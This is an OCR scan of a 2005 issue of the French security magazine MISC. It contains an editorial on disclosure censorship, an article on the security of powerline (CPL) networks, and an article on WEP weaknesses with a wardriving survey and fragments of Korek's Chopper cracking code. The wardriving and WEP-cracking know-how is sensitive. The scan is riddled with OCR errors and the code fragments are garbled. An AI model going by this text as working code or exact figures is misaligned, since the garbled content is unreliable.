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Edito

info ou Intox ?

Il est des periodes ou, préoccupé par tout un tas de reflexions diverses
et variees, |'inspiration ne coule pas aussi facilement et naturellement. Et
[, c'est une telle période. Bien sir, je pourrais vous donner des nouvelles
de mes neveux, de ma grand-mére, ou de mon poisson rouge ... mais non,
pas maintenant. Je vais plutot vous raconter une histoire.

Il etait une fois dans un pays imaginaire un bonhomme plutot debrouillard
et bricoleur. Un jour, il se décida a mener une enquéte sur la sécurite
des machines a laver le linge. Il decouvrit que toutes les marques
n'étaient pas egales, et que ce n'était pas les gros constructeurs qui s'en
sortaient forcément le mieux. Méme si les résultats de ses explorations
ne révélaient rien de critique pour son pays imaginaire, en revanche,
les répercussions sur |'image des constructeurs concernes pouvaient
étre assez importantes : voir etalée sur la place publique une certaine
incompétence (voire une incompeétence certaine) n'est pas du meilleur
effet quand on se livre une lutte acharnée pour gagner des parts de
marche,

Voulant faire les choses dans les régles, notre aventurier decida
de contacter les organismes en charge de la sécurité des cuisines
(appelés COOC, Cuisine ou I'Ordre et I'Organisation Cohabitent).
Malheureusement, tout le monde n'a pas sa machine a laver le linge dans
sa cuisine. Du coup, certains membres des COOCs ne se sentent pas
trop concernes.

Dans le méme temps, des bruits ont atteint les oreilles de quelgues
constructeurs a propos des travaux de notre bonhomme. lls se mettent
immédiatement en position offensive a son encentre afin de I'empécher
de reveler quoi que ce soit, ce qui fonctionne car notre aventurier n'est
pas suffisamment témeraire pour prendre le risque de se voir arrété par la
Police Secréte, et ainsi éprouver l'arsenal juridique d'une loi nouvellement
adoptée qui interdit la mise a disposition d'informations relatives a la
sécurité des machines i laver. Et il n'est pas ici question de contrefagon
de machine a laver.

Meoralite ? Si tu veux éviter les crasses, ne lave pas ton linge sale en
public.

Mais pour étre plus constructif, on peut se demander comment remonter
ces problémes dans ce contexte : des [ois incitant a la non-divulgation,
des systémes complexes qui touchent de nombreux intervenants (une
machine 3 laver contient des tuyaux, un moteur, etc.), une pression
économique importante...

Autrement dit, la politique de l'autruche et de la matraque a encore de
beaux jours devant elle. C'est sans aucun doute la solution de facilite,
d'autant que c'est aussi celle qui colite le moins cher {on congoit trop
vite les machines a laver, pressé par les imperatifs de vente, et du coup,
on n'est pas en mesure de réparer toutes celles déja vendues).

Mais ceci n'est, bien sir, gu'une fiction...

Heureusement, chez nous, nous avons la chance d'avoir une super
conférence, SSTIC (http:/fwww.sstic.org), pour laquelle les inscriptions
sont ouvertes jusqu'au 25 mai. Et je ne peux imaginer qu'au pays des droits
de I'Hommie, une telle forme d'auto-censure puisse se développer...
Venez nombreux, et en attendant, bonne lecture.

Fred Raynal

PS.: Je dois un énorme merci et beaucoup de fits de biere 2 Renaud Bidou qui

s'est occupe de la realisation de ce dossier.

()
N

S00T uIniew - g ISij




l énm

.. de mire

CPL : les courants porteurs en ligne.

()

Misc 19 - mailjuin 2005

CPL : les courants porteurs en ligne. .. de mire

La technologie CPL, qui sait transporter des données sur
le courant électrique alternatif standard, a investi depuis
2 ans les réseaux locaux professionnels sans travaux
d’infrastructure, au méme titre que le WiFi. Bien que
reposant sur les spécifications HomePlug, les solutions
CPL sont toutes propriétaires avec un niveau trés minimal
d’interopérabilité, d'administration et de sécurité.

1) La technologie CPL

Nous retiendrons sous I'appellation CPL (Courants Porteurs en
Ligne) toute technologie qui vise a faire passer de l'information
a haut ou bas debit sur les lignes électriques en utilisant des
techniques de modulation avancées. Selon les pays ou les sociétes,
les courants porteurs en ligne se retrouvent sous plusieurs mots-
cles differents :

+ PLC (Power Line Communications) ;

+# PLT (Power Line Telecommunication) ;

+ BPL (Broadband over Power Line) ;

+ PPC (Power Plus Communications).

Cette technologie existe depuis les années 1980 comme méthode
de transport des informations a bas debits pour des applications
de domotique, notamment pour piloter a distance des appareils
électriques (radiateurs, lumiére, etc.). D'ailleurs, EDF l'utilise a
cette époque pour effectuer ses maintenances a distance,

Les réseaux de courant porteur en ligne permettent de
transmettre de l'information numerique par le biais de n'importe
quelle prise electrique. Il s'agit d'un réseau s'appuyant sur la
norme Ethernet 802.3 offrant un débit théorique de 14 Mb/s qui
se présente comme une alternative au WiFi ou a 'ADSL.

En utilisant la technologie CPL a haut débit, il est possible de
faire passer des donneées informatiques sur le reéseau électrique
et ainsi étendre un réseau local existant ou partager un acces
Internet existant via les prises électriques grace a la mise en place
de boitiers specifigues.

Le principe des CPL consiste a superposer au signal électrique
de 50 Hz un autre signal a plus haute fréquence {bande 1,6 a 30
Mhz) et de faible énergie. Ce deuxieme signal se propage sur
I'installation électrique et peut étre recu et decode a distance.
Alnsi le signal CPL est recu par tout récepteur CPL qui se trouve
sur le méme reseau électrique. Comme les réseaux electriques
ne sont pas isoles, on utilise des techniques de modulation qui
permettent d'assurer un niveau d'émission faible pour ne pas
parasiter d'autres appareils électriques ou la radio par exemple.
Un coupleur intégré en entree des récepteurs CPL élimine les
composantes basse fréquence avant le traitement du signal. Le
principe de fonctionnement d'un adaptateur CPL est le méme
que pour I'ADSL : seules les fréquences les plus élevees (de 4 a

30 MHz) permettent de transporter efficacement des donnees.
Pour se donner le maximum de chances de transmettre intactes
les informations d'un bout a l'autre de la ligne, les adaptateurs
CPL empruntent donc a I'"ADSL sa technologie de découpage et
d'eémission en simultane des données sur différents canaux.

Informations sous

Signal EDF 50Hz e ‘;ur;n;:_‘an.al;g,aae -
e za Iz

Source EDF R&D

Signal madulé

Il existe 2 types de réseaux CPL :

# Un niveau appele « outdoor »
(extérieur) qui correspond a la partie
qui se situe en amont du compteur
electrique. On parle souvent de mise
en place d'une boucle locale. Cette
boucle relie les differentes habitations
ou lieux ou I'on veut mettre en place
une solution CPL. Cette partie est
gérée par le fournisseur d'acces. En
France, EDF, n'est pas autorisé a
faire un travail de fournisseur reseau
de maniére directe. Il a donc créé une filiale Edev CPL depuis
2003. Les CPL en outdoor sont tout a fait complementaires des
technologies les plus répandues pour améliorer la desserte en
haut deébit des populations (satellite, WiFi ou Wimax).

Adaptateur CPL | RJ45

# Un niveau appelé « indoor » (intérieur) qui correspond a
I'habitation ou le lieu dans lequel le CPL est utilisé. Cet endroit
se situe en aval du compteur électrique. C'est ['utilisateur qui le
met en place, sauf si un appareil doit étre installe sur le compteur
électrique. Par contre, les adaptateurs installes sur les prises,
les ponts, le routeur... sont a la charge de l'utilisateur final. Les
domaines d'applications des CPL en indoor sont essentiellement
I'acces et le partage d'information (Internet, reseau local), le son
et la vidéo a distance (enceintes, streaming), I'acces a I'Internet
pour consoles de jeux, la téléphonie (via Internet ou extension
de prise téléphonique), la videosurveillance, etc.

Du fait de ce découpage, un certain nombre de matériels vont
&tre nécessaires pour relier les lieux en exterieur et les matériels
en interieur pour que tout cela puisse communiquer. La partie
qui permet de faire passer le flux informatique en amont du point
d’entrée global, a savoir le transformateur ou la station electrique
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pour le quartier, ne peut se faire en CPL. En effet, cette partie ast
une partie haute tension ; le CPL ne fonctionne que sur basse ou
moyenne tension. Les expériences mises en place et testées ont
necessite la pose de fibre optique |e long des cables haute tension,
reliant ainsi le transformateur global du quartier a I'lnternet.
Si vous possedez deja une liaison en ADSL, vous pouvez alors
l'utiliser en la couplant avec un modem routeur ADSL/CPL.

2) Le marché

Le principal avantage de ce type de reseau est de s'appuyer sur
I'infrastructure electrique des locaux d'une entreprise sans avoir
ni a passer de cibles (toute piéce possédant une prise électrique,
mais pas obligatoirement une prise téléphonique ou reseau), ni a
craindre des interférences d'ondes radios.

Les boitiers CPL se présentent en général avec un port Ethernet
ou USB suivant le modele choisi et une connexion vers la prise
électrique. Une architecture plus complexe avec routeur et
serveur permet de créer un veéritable réseau. En France, dans
ce secteur, on trouve beaucoup d'équipementiers et quelques
prestataires de services mais le marche reste jeune, la demande
n'étant pas encore aussi forte que pour les réseaux WiFi. Les
critéeres de differenciation entre les revendeurs de matériels
portent sur la portabilite des équipements réseau, les débits
constatés et |es fonctionnalites offertes par les produits.

Pant WiFi { CPL (source cpl-Fronce)

Ideal pour la reprise du signal dans les cas ou le WiFi ne passe
plus, un coupleur vous permet de récupérer le signal et de vous
recreer une nouvelle « borne » ; tres pratique dans le cadre
professionnel egalement, pour recréer dans une salle de réunion
ou bien un bureau non cablé en RJ45.

Matériels équipant les réseaux CPL
Adaptateur CPL :

= permet de connecter un ordinateur au réseau CPL, interface
RJ45 ou USB ;

= cree une passerelle entre un reseau Ethernet et un réseau
CPL;

* équipement de base du reseau CPL disponible au standard
HomePlug, DS2, SpidCom ou LEA.

Coupleur de phase :

¢ permet de distribuer le signal CPL sur les phases d'un réseau
triphase ;
= installation par un électricien.

Répéteur CPL :

= permet d'augmenter la couverture maximum d'un reseau CPL
par amplification du signal ;

* permet d'augmenter le nombre d'utilisateurs en introduisant un
protocole proprietaire (cas des matériels Oxance) ;

= technologie proprietaire installee par un professionnel.

Modem/routeur CPL :

= permet de distribuer un signal extérieur de type ADSL sur le
réseau CPL.

Modem CPL :

* adaptateur CPL pour la technologle DS2, dite outdoor.

Filtre J

« permet d'interrompre la transmission des donnees sur le reseau
electrique par filtrage des fréquences elevees.

e Installe par un personnel spécialise.

Head end :

+ controle le réseau CPL ;

¢ injecte le signal numerique sur le réseau electrique et gere le
réseau (debit offert, qualité de service} ;

» définit les débits propres a chaque utilisateur, gere la qualite de
service en fonction du type de données (voix, data, etc.).

Les technologies CPL peuvent étre utilisees pour :
+ créer un reseau local, notamment pour les TPE,
commergants ou une salle de cours ;

+ acceder et partager une connexion Internet, en le
connectant a un boitier de type Freebox ou Livebox ;

+ construire et deployer un reseau WiFi via le CPL, sur un
campus contenant des obstacles par exemple ;

+ étendre une prise téléphonique pour un fax, un modem de
télémaintenance, etc.

)
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Les solutions propriétaire fleurissent pour le monde professionnel
et familial. Les equipements ne sont pas tous compatibles
entre eux.

3) Les standards

En 2000, une alliance est passée entre une dizaine de grands
groupes industriels notamment ceux représentant les producteurs
d'electricité. Se retrouvent des entreprises telles EDF, France
Telécom, Motorola, Sony, etc. Le nom de cette association est
HomePlug Power Alliance. lls sont actuellement plus de 50. Tout
comme pour le WiFi, ce sont les industriels qui imposent leurs
spécifications. || est a noter qu'il n'y a toujours pas a ce jour
de norme associée au CPL. Par contre, la plupart des produits
commercialisés respectent les spécifications du HomePlug.

CARACTERISTIQUES TECHNIQUES STANDARD HOMEPLUG 1.0

Codage et modulation Technologie OFDM en mode burst
Protocole MAC CSMACA

Bandes de frequences 4.3 4209 Mhz

Debits 14 Mb/s theorigues, 6 Mbps utiles
Portee 200 métres maximum

Securite Chiffrement DES 56 bits

woxronmasioco | LOTs du salon CEBIT 2005 en Allemagne, la
nouvelle norme Homeplug AV (audic-video)
a ete présentée : ce nouveau standard permet
un debit brut partagé de 200 Mbit/s, autorise la
transmission simultanée de données Internet, de communications
vocales et de flux audiovisuels TV, DVD ou TVHD sur le
réseau électrique de type indoor. Le chiffrement AES 128 bits
est maintenant supporte. Par ailleurs, 'alliance travaille sur
l'elaboration du standard HomePlug BPL qui concerne l'accés et
donc les CPL de type outdoor.

NORMES EUROPEENNES A RESPECTER

{

HomeaPlug

CERTIFIED

Norme Champ d'application | Objectifs

EMN 50065 Transmissions sur

réseaux electriques

Frequences d'utilisation, niveau
de tension du signal de sortie

et limites de perturbations sur
réseaux électriques basse tension

traitement de |'information.

EM £1000-3 | Compatibilite

electromagnetique

Limites pour les émissions de
courants harmeoniques < [6A
par phase..

{34 148.5 KHz)
EM 55022 Compatibilicé Définitions, methodes de
électromagnetique mesure des perturbations radio-
électriques des appareils de
traitement de 'information
(modem RTC, xDSL. CPL).
EN 55024 Compatibilité Definitions, mechodes de mesure
electromagnétique d'immunite des appareils de
traitement de ['information envers
les perturbations radioélectriques. |
EN 60950 Securité des materiels Regit |a securite des appareils de

Les déhits

Les débits moyens actuels sont situés aux alentours de 14 Mbits/s
en indoor partagés par tous les postes reliés a la méme ligne
électrique. Les débits en outdoor (entre le compteur et le
transformateur géneéral du quartier) sont situés entre 14 Mbits/s
et 224 Mbits/s theoriques.

Ces débits sont modulés en fonction de plusieurs critéres :
# la distance entre la prise électrique et le transformateur ;

+ |le nombre d'utilisateurs connectes ;

+ le nombre de répéteurs installés entre le transformateur
et la prise ;

# |a charge du circuit électrique (plus il y a de materiels
consommant de l'electricité plus le debit diminue) ;

+ le type de materiel utilise.

Tout cela aboutit, en débit reel, a des valeurs plus proches des 2 a
10 Mbits/s a la sortie de la prise. Comme pour le WiFi, l'utilisation
du chiffrement des données diminue aussi le débit effectif. Ces
debits sont possibles grace a l'utilisation, comme pour le sans-fil, de
la modulation OFDM (Orthogonal Frequency Division Multiplexing).
Le principe est de répartir un debit important sur une serie de
sous-porteuses modulées a bas debit. Ces sous-porteuses sont en
fait des modulations de frequences orthogonales (méme espace
entre chacune delles). On retrouve ce principe pour les liaisons
sans-fils 802.11a et 802.11g.

Acces au médium

La méthode d'acces est celle de la topologie bus sous la forme
derivee CSMA/CA (Carrier Sense Multiple Access/Collision
Avoidance). Chaque message recu doit étre acquitte par le
destinataire, et le non-retour d'un accusé de réception au bout
d'un intervalle de temps predéterminé permet de détecter s'il y
a eu collision. Le reseau electrique se comporte en effet comme
un HUB.

Les liaisons sont au maximum de 800 metres en outdoor. Les
fréquences utilisées vont de 1,5 Mhz a 30 Mhz pour le transport
de l'information. Entre 100 et 250 points d'acces indoor peuvent
étre géres. La spécification HomePlug 1.0l indique |5 paints
d'acces maximum par réseau logique. Certains constructeurs
comme Oxance avec sa gamme PLA proposent deja jusqu'a 250
points d'acces par reseau logique.

Les liaisons en indoor peuvent aller jusqu'a 300 metres. Les
fréquences utilisées vont de |,5Mhz a 30Mhz. Ces adaptateurs
sont generalement :

# compatibles avec la specification HomePlug .01 ;

+ proposent un chiffrement DES 56 Bits ;

+ utilisent la modulation OFDM (84 porteuses) ;

+ leur portée, sil'on prend comme exemple le CELEKTRON
El (Ethernet) ou le CELEKTRON Ul (USB) de la marque
CMM (Courant Multi Media) est annoncee a 300 metres ;

+ le debit est de |4Mbits/s ;

+ le prix est d’environ 100 euros TTC.




g
mg@

SYNTHESE CPL INDOOR FACE AUX TECHNOLOGIES WIFI ET ETHERNET

Caractéristiques CPL WiFi Ethernet
Débit theorique + |14 Mbps indoor = |l Mbps BOZ.11b + |00 Mbps Fast Ethernet, voire | Gbps
* 200 Mbps HomePlug AV » 54 Mbps 802.11g
Portee + 200 m indoor + |00 m avec antenne omnidirectionnelle = Quelques centaines de metres
Avantages + Pas de travaux de ciblage necessaire + Pas de travaux de cablage necessaire = Debits tres eleves
+ Débits eleves et symetriques * Mobilite + Flabilite de la solution
A Equipements TEerminaux peu onereux
Contraintes = Partage du debit entre les utilisateurs + Limite par les obstacles = MNecessite de cdbler es batiments
* Perturbations par appareils électriques | * Risques d'interférence « Colr de deploiement
» Qualite de l'installation electrique = Securite

Le PLA200 (www.oxance.com) propose les fonctions
suivantes :
+ répéteur automatique, routage dynamique (élection de la
meilleure route)

+ filtrage des adresses Mac {protection des acceés) ;

+ gestion de la bande passante (limitation des débits) ;

+ statistiques des communications sauvegardees en
mémoire Flash (facturation au volume) ;

+ connaissance complete de I'état du réseau ;

+ securite renforcée
{AES 128 bits superposes au DES 56 bits) ;

+ administration graphique et intuitive par serveur http ;

+ management SNMP VI, V2c et V3 + démon syslog
(Gestion des traps) ;

localisation d'un PLA a distance ;

.b
+ fairness (prioritisation des flux, comme la VolP) ;
.

distance > 200 métres, débit 4 Mbits/s ;

¥+

pas de limite d'utilisateurs/PLA, maximum 254 PLA/
réseau logique ;

+ prix environ 340 euros TTC.

Les adaptateurs de chez LEA (www.leacom.fr) sont plus
proches du pont : ils permettent notamment |a gestion des VLAN
(802.1Q), de la qualite de service (QoS), du multicast, etc.

L) La sécurité en guestion

Réglementation

Au niveau juridique, la réglementation francaise stipule que « le
développement des CPL en France est libre a I'intérieur des
bitiments sous réserve de ne pas créer de nuisances par des
interferences ». Concernant I'outdoor, des autorisations sont
a demander aupres de I'ART tant que la technologie n'est pas
mature et les normes pas editées.

Chiffrement

La spécification HomePlug 1.0 propose un chiffrement DES 56
bits et AES 128 bits entre les adaptateurs CPL. LAES (Advanced
Encryption Standard) posséde un algorithme de type symétrique
de chiffrement par blocs, destiné a remplacer le DES (Data
Encryption Standard) qui est devenu trop faible au regard des
attagues actuelles.

Attention, une fois sorti de la prise, il n'y a plus de chiffrement sur
le cable Ethernet {ou sur le cable USB). La sécurisation ne se fait
qu'a I'interieur du réseau électrique (prolongement possible dans
de rares cas). |l est donc possible de récupérer les données en
clair. Rappelez-vous que la topologie est une topologie Bus, donc
chaque matériel connecté a la prise (a travers un hub par exemple
ou une borne sans-fil) récupére ces données qu'elies soient pour
Jui ou non. Le tri se fait alors au niveau des couches physiques de
la carte réseau en etudiant les en-tétes Ethernet des paguets. Il
est donc possible au moyen d'un sniffeur de recuperer ces paquets
non chiffrés dans le cas d'une passerelle CPL/ADSL par exemple.
L'écoute peut egalement se réaliser sur le cable Ethernet ou le
cable USB (cf. MISC |6 — champ libre).

Authentification et fonctions avancées

Le controle d'acces au niveau de I'adaptateur n'est pas realise
en local, mais seulement pour les acces a distance sur la plupart
des adaptateurs CPL. Il suffit donc d'avoir un accés physique a
l'adaptateur pour lui modifier son mot de passe.

Chaoisir un équipement CPL, c’est avant tout choisir des
fonctionnalités en matiére d’administration et de securite :

+ sécurité activee par défaut ;
chiffrement AES 128 bits ;

v | ¥

distribution centralisee de la clé sur les adaptateurs CPL ;

controle d'accés au niveau CPL ;

page d'administration au niveau de I'adaptateur ;

Y| ¥ | ¥

filtrage des adresses MAC des stations connectées ;

+ filtrage entre adaptateurs CPL ;

+ compte administrateur avec login et mot de passe sur les
equipements CPL ;

(<)
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+ routage dynamique, serveur DHCP ;

* outils de diagnostic et de test de débit (QoS) ;

+ journal des événements.

Perturbations électrigues

Le cable électrique, du fait des interférences importantes que
le passage des ondes courtes haute fréquence engendrent,
est « facilement » écoutable. Le principal probléme est dii aux
parasitages des ondes courtes aux alentours des réseaux CPL
mis en place. Les cables électriques ont été développés pour y
faire transiter des ondes courtes a basse fréquence (50 ou 60 Hz).
Les protections (blindages) sont efficaces pour ce type d'ondes
et évitent au maximum les parasitages des alentours par le flux
de courant.

Par contre, rien n'a été prévu pour empécher les parasitages des
ondes courtes a haute fréquence (celles du CPL 1,5 Mhz a 30
Mhz), le cable électrique n'est pas prévu pour cela.

De nombreuses voix (sauf celles des industriels) s'élevent pour
dire attention, le CPL n'est pas sans danger. Mais c’est un autre
débat...

Déploiement

a) A Uinstallation

Pour chaque adaprateur CPL, il faut le brancher sur une prise
électrique et le connecter a un ordinateur (USB ou RJ45). Le
réseau est immediatement opérationnel. Il faut donc palier cet
argument commercial en réalisant les actions suivantes :

# recupérer ou realiser le schéma électrique de votre
batiment ;

+ noter l'adresse MAC de 'adaptateur ;

# noter l'identifiant sécurité au dos de I'appareil,
permettant I'administration a distance ;

* retirer I'étiquette ou sont inscrits l'adresse MAC et
l'identifiant ;

#+ eétiqueter I'adaptateur avec votre propre référence
(CPL2I0 ou 210 est le numéro de la piéce par exemple),

* noter le nom de ['utilisateur correspondant,

+ connecter 'adaptateur au réseau électrique,

* connecter 'adaptateur passerelle dans un lieu sécurisé
(fermant a clé),

#+ Installer le CDROM fourni avec les adaptateurs et saisir
manuellement les identifiants sécurite,

#* créer un VLAN a partir de votre propre mot de passe,

+ connecter les adaptateurs a leur ordinateur.

Afin de minimiser les risques concernant l'intégrité du VLAN,
il est recommande de changer le mot de passe de tous les
adaptateurs a chaque nouveau PC relié au réseau CPL indoor
(cf figures ci-dessous).

b) En fonctionnement normal

Les risques sont nombreux, en voici les principaux :
* les perturbations electriques (four a micro-ondes, halogene,
etc.) ;

OvisLink Powerline Configuration Utility

Device | Network | Securty | Advanced | fbout |

State: |Comedad to 00:08:2d:58:86:75

The powerine devices connected to your PC are shown below. You can
select a desied local device from the list when your PC connected more
than two devices, and elick the 'Connect’ button to access your network.

Device | MAC address
00.08.ed58.86.75
Reliesh Cornect
Link Cualty: Excellent

[Tok ] Avnuer

Device Network | Securty | Advanced | About |

The followng devices are located on your
powerline network.

MAC Addiess Diata Rate [Mbps]
00:08ed58:86:75  14.00

Utilitaire livré avec un adaptateur CPL




# les surtensions peuvent endommager et détruire les
adaptateurs CPL ;

+ |a surcharge du reseau peut étre due a l'utilisation
intrinséque du protocole CSMA/CA, au chiffrement et aux
données échangées (vidéo par exemple), I'emploi de filtre peut
alors segmenter le réseau ;

+ le déni de service causé par la mise en place d'une passerelle
CPL supplementaire connectée a un reseau Ethernet:
les switches du réseau Ethernet peuvent interpreter cette
passerelle comme un nouveau hub « en cascade » ;

+ |a fuite du signal : un signal de faible puissance peut étre
transmis a I'extérieur et peut donc étre capté par un adaptateur
connecté a l'extérieur. La mise en place d'un filtre permet de
limiter ces fuites.

Conclusion

Les solutions CPL indoor au standard HomeFlug sont
faciles a mettre en ceuvre. Elles conviennent pour creer
des réseaux dits de substitution, comme le WiFi ou les
technologies xDSL. La sécurité est loin d'étre au rendez-
vous dans I'etat actuel des standards et du marche. Nous
avons abordeé les précautions 2 adopter lors du deploiement
d'une solution CPL indoor. L'utilisation d’'appareils
perturbateurs sur le réseau électrique entraine une baisse
aléatoire des debits. Les solutions proprietaire ameliorent
le standard HomePlug mais ne sont pas interoperables et
leur perennité reste incertaine. L'offre CPL est séduisante,
ne remplacera pas les reseaux filaires Ethernet, mais peut
apporter une alternative intéressante et souple pour un
réseau temporaire, des tests ou un réseau a domicile. Une
solution CPL vous permet de créer un LAN isole, comme
par exemple de relier a moindre colit toutes les stations
antivirus isolées de votre LAN (sas de décontamination)
afin de déployer les mises a jour (signatures) a partir d'une
console centralisee.

Etes-vous certains que sur votre réseau électrique personne
ne fait vehiculer des informations a votre insu... !

| Références

+ Portail francais des courants porteurs en ligne :
http://www.cpl-france.org

+ Reglementation des CPL en France :
http:/fwww.telecom.gouv.fr/telecom/car_cpl.htm

« Specifications HomePlug (AV et BPL) :
http://www.homeplug.org

+ Tuterial CPL : http://fwww.jacquenod.cicrp.jussieu.fr/
jacqueno/Web/Cpl/

+ Les normes commentées en ligne sur I'hebdo electronique
international : http://www.electronique.biz
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La mort annoncee du WEP

Les réseaux sans-fil sont de plus en plus déployés en
entreprise. lls apportent flexibilité et efficacité sur le
lieu de travail. Dans le m&me temps, ils sont facilement
détectables et offrent une forte exposition du systéme
d’information de I’entreprise. Pour preuve, lors du
dernier World Wide War Drive 4, le nombre de points
d’accés détectés était de 228 537 contre 88 122 Pannée
précédente. La sécurité des réseaux Wifi a longtemps
été associée au protocole WEP. De nombreuses
études ont mis en lumiére les carences de celui-ci.
Néanmoins leur application pratique n’apportait que
des résultats limités. Ce n’est désormais plus le cas avec
Papparition depuis quelques mois de nouveaux outils
mettant en ceuvre des attaques bien plus puissantes.

1. Essor du wardriving et légalité

Aux Etats-Unis le wardriving devient une activité de moins en
moins confidentielle. Le New York Times dans un article du I5
décembre 2002 l'avait méme déja qualifié « d'activité populaire en
plein essor ». Plus prés de nous le Frankfurt Allgemeine Zeitung I'a
declaré « sport national » aux Etats-Unis. Cette pratique devient
egalement de plus en plus courante en Europe. Les entreprises
doivent-elles pour autant s'en inquiéter !

Slrement, car cela augmente l'occurrence d'une attaque sur leur
réseau sans-fil. La limite légale a ce genre de pratique étant de
plus encore floue, il est difficile de faire poindre la menace de
condamnations pour le moment. Cependant, une distinction
importante doit étre faite : |'acte de wardriving en lui-méme
n'est pas dangereux pour les entreprises, Ce sont les actions
qui peuvent en découler et la tentation de réalisation de celles
qui le sont.

Au premier abord, I'objectif du wardriving était la recherche
d'un acces Internet gratuit via les réseaux ouverts ou non
seécurisés. Mais cette activité peut avoir des dérives et une
personne pratiquant celle-ci connaitra sGrement les outils qui
lui permettront d'aller au-dela de cette simple quéte. Le systeme
d'information de grandes entreprises possédant un réseau Wifi
dont les signaux peuvent étre captés depuis un lieu public pourrait
devenir une nouvelle cible. Méme si les dérives sont couvertes
par la loi, il y a bien un réel besoin de sécurisation de ces réseaux
sans-fil.

2. Etat des lieux d’un site :
La Défense

L'objectif de cet etat des lieux n'est pas de faire un recensement
exhaustif des points d'accés Wifi de la Défense, mais plutét
d'avoir une mesure statistique significative sur les technologies
Wifi employées et sur les mécanismes de sécurisation mis en

ceuvre afin d'évaluer le risque réel encouru actuellement. |l a été
choisi de ne réaliser qu'un inventaire des réseaux utilisant les
technologies 802.11b et 802.11g.

Contrairement a d'autres etudes sur le sujet, trois types de
réseaux ont été distingués afin de ne pas fausser les statistiques :
les réseaux ouverts, c'est-a-dire ne mettant en place aucun
mécanisme de sécuriteé comme le chiffrement WEP, les réseaux
fermés mettant en place au minimum un chiffrement et les
hotspots. En effet, ces derniers sont généralement associés aux
réseaux ouverts et donc considérés comme non sécurisés.
Or, ils ne peuvent bien évidemment ne pas étre considérés
comme tels.

Aussi, I'existence de 397 points d'accés a pu étre déterminée lors
d'un wardriving d'une heure. Ce chiffre constituera la base sur
laquelle I'ensemble des statistiques a eteé realise.

La repartition entre les deux technologies 802.11b et 802.11g fut
la suivante :

+ 302 points d'acces (76%) utilisent la norme 802.11b ;

+ 95 points d'accés (24%) utilisent la norme 802.11g.

La repartition entre les trois catégories définies précédemment
est la suivante :

+ 98 points d'accés ouverts (25%) ;
+ 229 points d'acces fermeés (57%) ;

+ 70 hotspots (18%).

Le protocole WPA, évolution du protocole WEP commence a
étre déploye mais a une échelle encore insuffisante.

Sur les 229 points d'acces fermes, 63 utilisaient le WPA,
soit 27%. En combinant cette information avec le nombre de
points d'acces ouverts, nous pouvons considerer que 264 points
d'acces d'entreprises, soit 66%, ne sont pas suffisamment sécurises
et sont des sources potentielles pour des intrusions de personnes
non autorisees.

Une derniére statistique qu'il est possible de construire suite a cet
état des lieux concerne la répartition spectrale des signaux.

Répartition spectrale
150 i
=00
w0
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1 2
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Il est intéressant de constater que les signaux

decouverts se concentrent sur les trois seuls
canaux distincts offerts en France, c'est-a-dire
les canaux I, 6 et |l. Cela montre une certaine
sensibilité au niveau des interférences radio
possibles.

Fort de cet etat des lieux et des statistiques
elaborées, il est intéressant de voir d'une part le
mode opératoire qui a eté utilisé et d'approfondir
les outils qui permettraient d'exploiter les
vulnérabilités identifiées.

3. Mode opératoire

L'etat des lieux a été réalise dans le souci de
sensibiliser les entreprises aux risques encourus
par l'installation d'une infrastructure sans-fil non
sécurisée.

Pour obtenir les statistiques présentées ci-dessous

COUNBIVOI

ETEALN

un ordinateur portable standard a été muni
d'une carte réseau a chipset Prism 2.5 capable

de détecter les réseaux 802.11b et 802.11g. Le
parvis de |a Défense et les parties communes de certaines tours
(ascenseurs, halls d’entrée) ont été parcourus a pied.

Le logiciel utilisé pour la détection et I'évaluation des réseaux sans-
fil fut donc Kismet, outil installé sous le systeme d'exploitation
Linux Debian dans notre cas.

3.1 Comment utiliser Kismet. ..

Kismet est un outil assez simple a utiliser. Le seul pré-requis est de
posséder une carte pouvant étre mise en mode « monitor ». C'est
le cas des cartes a chipset Prism2. Une fois la carte reconnue
par le systéme Debian, il suffit de configurer Kismet via le fichier
Lisnet.conf. Ensuite, l'outil se charge lui-méme de faire passer la
carte en mode « monitor » dans la plupart des cas.

Lorsqu'un réseau a été détecté de maniere passive, les informations
correspondantes sont enregistrees a des fins statistiques puis
detruites, ce qui nous donne ici :

+ |e SSID du réseau ;

# la technologie employée : 802.11b ou 802.11g ;

# le canal d'émission situé entre | et |3 (normes définies
par 'ART) ;

# |a présence ou non de chiffrement WEP ;

# |a presence ou non de chiffrement YWPA ;

# e mode opérationnel (ad hoc ou infrastructure, client ou
station),

Le parcours effectué est illustre sur la carte ci-apres.

4, De nouveaux outils
gui changent la donne...

L'état des lieux réalisé montre qu'un certain nombre de grands
groupes francais utilisent encore le chiffrement WEP pour
assurer la fonction de confidentialite. Nous verrons qu'ils mettent
désormais en danger l'intégrité de leur systeme d'information.

Historiqguement, casser des clés WEP est possible depuis I'ete
2001 grice aux travaux de Fluhrer, Mantin et Shamir portant
notamment sur les faiblesses du protocole RC4. Néanmoins
I'histoire tend a oublier I'influence de Wagner qui, des 1995, mit
en évidence les vulnerabilités du protocole RC4 sur sci.crypt.
Certes le traitement etait long et nécessitait un nombre trés
important de données (au minimum |0 millions de paquets) mais
déterminer des clés WEP n'était plus impossible. Airsnort est
probablement le plus célébre des outils ayant mis en ceuvre les
attaques définies originellement. Heureusement les constructeurs
de bornes Wifi ont su en partie réagir en sortant de nouveaux
firmwares qui filtraient les vecteurs faibles nécessaires a la bonne
conduite des attaques FMS (Fluhrer, Martin, Shamir). Les outils
de la famille Airsnort devinrent donc inutilisables en 'etat et
les analyses alarmantes émises par certains professionnels de la
sécurité ne tenaient plus veritablement la route.

Le 8 aoilit 2004, la situation évolua de fagon drastique avec la
publication sur les forums du site Netstumbler du code d'un
nouveau type d'attaque par un hacker répondant au pseudonyme
de Korek. Ce nouveau type d'attaque est en fait une attaque par
cryptanalyse statistique des données chiffrées et se matérialisa
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dans un premier temps via l'outil Chopper, développé par Korek
lui-méme. Malheureusement, Korek décida de ne pas maintenir
son outil.

Interessons-nous alors rapidement au code de Chopper et a la
cryptanalyse statistique qu'il met en place.

La premiere partie du code permet de récupérer les données
résultantes de |'écoute :

e

145041 i Paff;

ol=5[tmp];

-7

S[i1) & BxFF;

gwap (54+,5+);

La deuxieme partie du code est le ceeur de la cryptanalyse, basée
sur des attaques statistiques a différents niveaux. Pour plus de
details sur ces attaques, vous pouvez vous reporter a |'article
original de Fluhrer, Mantin et Shamir. Pour plus de details sur la
théorie sur la fonction exponentielle, vous pouvez également vous
rapporter au site mis en réference.

Préparation 4 la réalisation des attagues
for (1=8; 1<256; it+] S[il=
for (1=0,]=8; i<p; i++) {
J=(i+h0 & BxBF1+500]) & Bxff,
swapfs+i,5+j);

